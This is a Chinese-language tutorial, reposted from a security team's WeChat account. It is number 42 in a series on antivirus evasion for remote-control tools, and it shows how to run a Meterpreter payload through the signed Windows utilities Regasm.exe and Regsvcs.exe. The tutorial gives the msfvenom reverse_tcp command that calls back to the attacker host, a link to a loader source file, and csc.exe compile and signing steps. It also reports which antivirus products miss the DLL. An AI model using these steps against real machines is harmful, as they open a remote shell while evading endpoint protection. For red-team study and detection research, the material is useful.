远控免杀专题(42)-白名单Regasm.exe/Regsvcs.exe执行payload

oldmoon

远控免杀专题(42)-白名单Regasm.exe/Regsvcs.exe执行payload

转载自微信公众号：Tide安全团队      作者：VllTomFord


免杀能力一览表

几点说明：

1、表中标识 √ 说明相应杀毒软件未检测出病毒，也就是代表了Bypass。

2、为了更好的对比效果，大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒，所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01)，火绒版本5.0.34.16(2020.01.01)，360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com（简称VT）上在线查杀，所以可能只是代表了静态查杀能力，数据仅供参考，不足以作为杀软查杀能力或免杀能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软，这样的技术肯定是有的，只是没被公开，一旦公开第二天就能被杀了，其实我们只要能bypass目标主机上的杀软就足够了。

6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理，静态查杀payload或者查杀白名单程序都没有任何意义，所以这里对白名单程序的免杀效果不做评判。

一、Regasm.exe/Regsvcs.exe简介

Regsvcs和Regasm是Windows命令行实用程序，用于注册.NET组件对象模型（COM）程序集。两者都是由Microsoft进行数字签名的。攻击者可以使用Regsvcs和Regasm代理通过受信任的Windows实用程序执行代码。两个实用程序可用于通过使用二进制内的属性来绕过进程白名单，以指定应在注册或取消注册之前运行的代码：[ComRegisterFunction]或[ComUnregisterFunction]分别。即使进程在权限不足的情况下运行并且无法执行，也将执行具有注册和取消注册属性的代码。

由于白名单加载payload的免杀测试需要结合杀软的行为检测才合理，查杀白名单文件都没有任何意义，payload文件的查杀率依赖于对payload的免杀处理，所以这里对白名单程序的免杀效果不做评判。

二、使用Regasm.exe/Regsvcs.exe执行payload

2.1、复现环境

攻击机：Kali 192.168.19.128

受害机：Win7 192.168.19.130

使用工具：Metasploit

依赖环境：Microsoft.NET Framework v4.0.30319、Microsoft SDKs

2.2、复现过程

1、首先下载用以生成恶意dll的cs文件

1. https://github.com/3gstudent/Bypass-McAfee-Application-Control–Code-Execution/blob/master/regsvcs.cs

复制代码

2、在攻击机上使用msfvenom生成C#格式的payload

1. msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.19.128 LPORT=4444 -f csharp
   
2. 
   

复制代码

3、将regsvcs.cs(下载的regsvcs.cs为执行calc.exe程序的cs文件)中的shellcode替换成为在攻击机上使用msfvenom生成C#格式的payload

4、生成dll文件

利用C:\Windows\Microsoft.NET\Framework\v4.0.30319文件夹中的csc.exe程序可以将cs文件生成为dll文件。

编译dll，注意文件的路径：

1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs
   
2. 
   

复制代码

regsvcs.exe加载或卸载指定dll时该dll必须签名才可执行成功，因此命令中使用的key.snk文件为dll签名文件，是由sn.exe生成的公钥和私钥对，如果没有sn命令你可能需要安装vs或者Microsoft SDKs。

5、配置攻击机的Msf

6、使用Regasm.exe/Regsvcs.exe执行恶意dll文件

（1）利用Regsvcs.exe执行dll文件

可见Msf已上线

（2）利用Regasm.exe执行dll文件

Msf也可以上线

三、小结

生成的dll文件分别使用360安全卫士、360杀毒、火绒杀毒进行检测，均未发现任何风险。

但使用Regasm.exe/Regsvcs.exe执行恶意dll文件时，360安全卫士会根据行为进行报警。

利用VT进行查杀，查杀率为31/69。

四、参考资料

攻击复现 —— 利用Regasm.exe与Regsvcs.exe绕过AppLocker:https://www.freebuf.com/column/217229.html

渗透测试中弹shell的多种方式及bypass:https://xz.aliyun.com/t/5768#toc-12